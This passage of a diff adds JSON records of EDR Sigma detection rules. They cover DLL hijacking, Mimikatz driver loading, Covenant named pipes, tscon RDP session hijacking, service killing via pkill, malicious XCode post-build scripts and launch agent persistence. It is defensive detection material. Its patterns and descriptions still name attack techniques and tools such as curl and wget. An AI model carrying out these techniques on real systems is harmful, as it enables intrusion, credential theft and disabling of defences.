+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iobit.yml",
+  "content": "title: DLL Hijacking via IObit\nid: efd4b774-b093-4772-891d-c34efe568c6e\ndescription: |\n    Detects a potential Windows DLL hijacking via the IObit software.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to check the loaded DLL for malicious content as well as to investigate the behavior of the IOBit process.\nreferences:\n    - https://lab52.io/blog/dll-side-loading-through-iobit-against-colombia/\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/12/12\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName:\n            - 'RttHlp.exe'\n            - 'IUService.exe'\n        ProcessSignature: 'IObit CO., LTD'\n        ImageLoaded|endswith:\n            - '\\Register.dll'\n            - '\\rtl120.bpl'\n            - '\\vcl120.bpl'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\IObit\\Driver Booster\\'\n            - '?:\\Program Files (x86)\\IObit\\IObit Uninstaller\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\IObit\\Driver Booster\\'\n            - '?:\\Program Files (x86)\\IObit\\IObit Uninstaller\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature|contains: 'IObit CO., LTD'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "efd4b774-b093-4772-891d-c34efe568c6e",
+  "rule_name": "DLL Hijacking via IObit",
+  "rule_description": "Detects a potential Windows DLL hijacking via the IObit software.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to check the loaded DLL for malicious content as well as to investigate the behavior of the IOBit process.\n",
+  "rule_creation_date": "2024-12-12",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0169aef-cb6b-4325-8927-9e651b5892c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084903Z",
+  "creation_date": "2026-03-23T11:45:34.084905Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084910Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/mimidrv-in-depth-4d273d19e148",
+    "https://attack.mitre.org/techniques/T1569/002",
+    "https://attack.mitre.org/software/S0002"
+  ],
+  "name": "t1569_002_mimikatz_driver_loaded.yml",
+  "content": "title: Mimikatz Driver Registry Values Set\nid: f0169aef-cb6b-4325-8927-9e651b5892c9\ndescription: |\n    Detects when Mimikatz driver service \"mimidrv\" values are set in the registry.\n    This may be indicative of the Mimikatz driver being loaded.\n    Mimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\n    It is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\nreferences:\n    - https://posts.specterops.io/mimidrv-in-depth-4d273d19e148\n    - https://attack.mitre.org/techniques/T1569/002\n    - https://attack.mitre.org/software/S0002\ndate: 2021/05/06\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - attack.s0002\n    - classification.Windows.Source.Registry\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_service_start:\n        EventType: 'SetValue'\n        TargetObject|startswith: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\mimidrv\\Start'\n        Details: 'DWORD (0x00000002)' # SERVICE_AUTO_START\n\n    selection_service_image:\n        EventType: 'SetValue'\n        TargetObject|startswith: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\mimidrv\\ImagePath'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0169aef-cb6b-4325-8927-9e651b5892c9",
+  "rule_name": "Mimikatz Driver Registry Values Set",
+  "rule_description": "Detects when Mimikatz driver service \"mimidrv\" values are set in the registry.\nThis may be indicative of the Mimikatz driver being loaded.\nMimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\nIt is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\n",
+  "rule_creation_date": "2021-05-06",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f01e4279-308b-48e6-ba7f-f31399d641ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097052Z",
+  "creation_date": "2026-03-23T11:45:34.097054Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097058Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsmod.yml",
+  "content": "title: DLL Hijacking via dsmod.exe\nid: f01e4279-308b-48e6-ba7f-f31399d641ac\ndescription: |\n    Detects potential Windows DLL Hijacking via dsmod.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsmod.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\activeds.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f01e4279-308b-48e6-ba7f-f31399d641ac",
+  "rule_name": "DLL Hijacking via dsmod.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsmod.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f041c41b-593e-43a7-8b24-6ea4c1365e46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072755Z",
+  "creation_date": "2026-03-23T11:45:34.072757Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072761Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_default_covenant_named_pipes_creation.yml",
+  "content": "title: Default Covenant Named Pipe Created\nid: f041c41b-593e-43a7-8b24-6ea4c1365e46\ndescription: |\n    Detects the creation of a named pipe pertaining to Covenant.\n    Covenant uses Named Pipes mainly to self-replicate using SMB.\n    It is recommended to analyze the process responsible for the named pipe creation to determine its legitimacy and to look for subsequent malicious actions executed on the host.\nreferences:\n    - https://riccardoancarani.github.io/2019-10-19-hunting-covenant-msbuild/\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Framework.Covenant\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        # Endswith here allows us to match pipes that are prefixed\n        # with hosts\n        PipeName|endswith: '\\gruntsvc'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f041c41b-593e-43a7-8b24-6ea4c1365e46",
+  "rule_name": "Default Covenant Named Pipe Created",
+  "rule_description": "Detects the creation of a named pipe pertaining to Covenant.\nCovenant uses Named Pipes mainly to self-replicate using SMB.\nIt is recommended to analyze the process responsible for the named pipe creation to determine its legitimacy and to look for subsequent malicious actions executed on the host.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0a84a5f-a25c-4af2-b09a-10fced00686a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626044Z",
+  "creation_date": "2026-03-23T11:45:34.626046Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626050Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement",
+    "https://blog.gentilkiwi.com/securite/vol-de-session-rdp",
+    "https://attack.mitre.org/techniques/T1563/002/"
+  ],
+  "name": "t1563_002_tscon_session_hijacking.yml",
+  "content": "title: Possible Session Hijacking via Tscon\nid: f0a84a5f-a25c-4af2-b09a-10fced00686a\ndescription: |\n    This rule detects the usage of the tscon.exe utility from the \"NT AUTHORITY\\SYSTEM\" user. Terminal Services Console (tscon) is used to connect to another session on a Remote Desktop Session Host server.\n    With System permissions, an attacker can hijack a session without the need for credentials or prompts to the user. This can be done locally or remotely.\n    To investigate this alert, look for the usage of qwinsta or quser as a way to discover remote RDP sessions. HarfangLab EDR provides alerts when these binaries are used for discovery.\n    It also recommended to attempt to correlate RDP logins across machines to determine if the tool was used successfully.\n    Steps to reproduce this along with an investigation guide are present in the references.\nreferences:\n    - https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement\n    - https://blog.gentilkiwi.com/securite/vol-de-session-rdp\n    - https://attack.mitre.org/techniques/T1563/002/\ndate: 2023/08/25\nmodified: 2026/01/05\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Tscon\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'tscon.exe'\n        UserSID|startswith: 'S-1-5-18'\n\n    exclusion_appdis:\n        ParentImage|endswith:\n            - '\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\AppliDis Starter.exe'\n            - '\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\ThinDesktop\\adisbureau.exe'\n\n    exclusion_opentext:\n        ParentImage: '?:\\Program Files (x86)\\OpenText\\Functional Testing\\bin\\HP.UFT.HelperService.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0a84a5f-a25c-4af2-b09a-10fced00686a",
+  "rule_name": "Possible Session Hijacking via Tscon",
+  "rule_description": "This rule detects the usage of the tscon.exe utility from the \"NT AUTHORITY\\SYSTEM\" user. Terminal Services Console (tscon) is used to connect to another session on a Remote Desktop Session Host server.\nWith System permissions, an attacker can hijack a session without the need for credentials or prompts to the user. This can be done locally or remotely.\nTo investigate this alert, look for the usage of qwinsta or quser as a way to discover remote RDP sessions. HarfangLab EDR provides alerts when these binaries are used for discovery.\nIt also recommended to attempt to correlate RDP logins across machines to determine if the tool was used successfully.\nSteps to reproduce this along with an investigation guide are present in the references.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2026-01-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0acccd3-038d-40db-a283-4ac1f2180038",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089712Z",
+  "creation_date": "2026-03-23T11:45:34.089714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089719Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1489/",
+    "https://attack.mitre.org/techniques/T1569/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1489_service_killed.yml",
+  "content": "title: System Service Killed via Pkill\nid: f0acccd3-038d-40db-a283-4ac1f2180038\ndescription: |\n    Detects when an important service is manually killed using pkill.\n    Adversaries may kill services on a system to render these services unavailable to legitimate users or to impair the security tools already installed.\n    It is recommended to ensure that both a legitimate administrator disabled this service and that the service is not critical.\nreferences:\n    - https://attack.mitre.org/techniques/T1489/\n    - https://attack.mitre.org/techniques/T1569/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/12/15\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1489\n    - attack.execution\n    - attack.t1569\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.ServiceStop\n    - classification.Linux.Behavior.ImpairDefenses\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_pkill:\n        Image|endswith: '/pgrep'\n        CommandLine|contains: 'pkill '\n\n    selection_service:\n        CommandLine|contains:\n            - ' cron'  # and crond\n            - ' cupsd'\n            - ' sshd'\n            - ' syslog'\n            - ' rsyslog'\n            - ' systemd-journald'\n\n    exclusion_logrotate:\n        ProcessCommandLine: 'pkill -HUP rsyslog'\n        GrandparentImage: '/usr/sbin/logrotate'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0acccd3-038d-40db-a283-4ac1f2180038",
+  "rule_name": "System Service Killed via Pkill",
+  "rule_description": "Detects when an important service is manually killed using pkill.\nAdversaries may kill services on a system to render these services unavailable to legitimate users or to impair the security tools already installed.\nIt is recommended to ensure that both a legitimate administrator disabled this service and that the service is not critical.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.001",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0d1c4cb-e4b7-4318-b662-6747eab2e190",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093788Z",
+  "creation_date": "2026-03-23T11:45:34.093790Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093795Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1195/"
+  ],
+  "name": "t1195_xcode_postbuild_script.yml",
+  "content": "title: Suspicious Programm Launched via XCode Postbuild Script\nid: f0d1c4cb-e4b7-4318-b662-6747eab2e190\ndescription: |\n    Detects a suspicious program being launch by XCode.\n    This can be the result of a malicious post build script being executed after the compilation of an infected XCode project.\n    If an XCode project has post build scripts configured, they are run automatically by XCode after the compilation.\n    Adversaries can publish XCode projects with malicious post build scripts that executes malicious code to infect users when they compile the project.\n    It is recommended to investigate the children of XCode, the post build script and the origin of the project to determine whether this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1195/\ndate: 2024/06/11\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1195\n    - attack.defense_evasion\n    - attack.t1222.002\n    - attack.collection\n    - attack.t1560.001\n    - attack.command_and_control\n    - attack.t1105\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.InitialAccess\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection_ancestors:\n        Ancestors|contains: '/Contents/MacOS/XCBBuildService'\n\n    selection_descendants_lolbins:\n        Image|endswith:\n            - '/killall'\n            - '/sleep'\n            - '/launchctl'\n            - '/curl'\n            - '/wget'\n            - '/zip'\n            - '/osascript'\n            - '/cat'\n            - '/dscl'\n            - '/mdls'\n            - '/security'\n            - '/sw_vers'\n            - '/dscacheutil'\n            - '/csrutil'\n            - '/netstat'\n            - '/who'\n            - '/preintenv'\n            - '/smbutil'\n            - '/shownmount'\n            - '/dseditgroup'\n            - '/kcc'\n            - '/mkpassdb'\n            - '/dsenableroot'\n            - '/ldapsearch'\n            - '/nohup'\n\n    selection_descendants_chmod:\n        CommandLine|contains: 'chmod +x'\n\n    exclusion_toolchain:\n        CommandLine: '/bin/cat /Applications/Xcode*Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/share/docc/features.json'\n\n    exclusion_unity:\n        CommandLine|startswith: 'chmod +x /Users/*/Unity/'\n\n    exclusion_unity2:\n        CommandLine|startswith: 'chmod +x */Il2CppOutputProject/IL2CPP/build/deploy_arm64/'\n        ParentCommandLine|startswith: '/bin/sh /Users/*/Library/Developer/Xcode/DerivedData/Unity-iPhone-*/Build/Intermediates.noindex/Unity-iPhone.build/ReleaseForRunning-iphoneos/GameAssembly.build/Script-*.sh/bin/sh'\n\n    exclusion_flutter:\n        CommandLine: 'cat */flutter/bin/cache/flutter_tools.stamp'\n\n    condition: selection_ancestors and 1 of selection_descendants_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0d1c4cb-e4b7-4318-b662-6747eab2e190",
+  "rule_name": "Suspicious Programm Launched via XCode Postbuild Script",
+  "rule_description": "Detects a suspicious program being launch by XCode.\nThis can be the result of a malicious post build script being executed after the compilation of an infected XCode project.\nIf an XCode project has post build scripts configured, they are run automatically by XCode after the compilation.\nAdversaries can publish XCode projects with malicious post build scripts that executes malicious code to infect users when they compile the project.\nIt is recommended to investigate the children of XCode, the post build script and the origin of the project to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-06-11",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1195",
+    "attack.t1222.002",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0dd8f4a-34b8-4bcf-b96d-74a3c8cd741b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617463Z",
+  "creation_date": "2026-03-23T11:45:34.617465Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617469Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/",
+    "https://attack.mitre.org/techniques/T1543/001/"
+  ],
+  "name": "t1543_001_plistbuddy_add_launchagent.yml",
+  "content": "title: Launch Agent Created via PlistBuddy\nid: f0dd8f4a-34b8-4bcf-b96d-74a3c8cd741b\ndescription: |\n    Detects a Launch Agent being created by PlistBuddy.\n    PlistBuddy is a utility to easily create plist files via commandline.\n    Attackers can manually craft malicious launch agents in plist files to achieve persistence.\n    It is recommended to investigate the content of the plist file to determine whether this action was legitimate.\nreferences:\n    - https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/\n    - https://attack.mitre.org/techniques/T1543/001/\ndate: 2024/06/12\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1195\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection_plistbuddy:\n        Image|contains: 'PlistBuddy'\n\n    selection_launch_agent:\n        CommandLine|contains: 'LaunchAgents'\n\n    selection_runatload:\n        CommandLine|contains:\n            - 'RunAtLoad bool true'\n            - 'RunAtLoad bool yes'\n\n    exclusion_onedrive:\n        CommandLine: '/usr/libexec/PlistBuddy -c clear dict -c Add :Label string \"com.microsoft.OneDriveStandaloneUpdater\" -c Add :ProgramArguments array -c Add :Program string 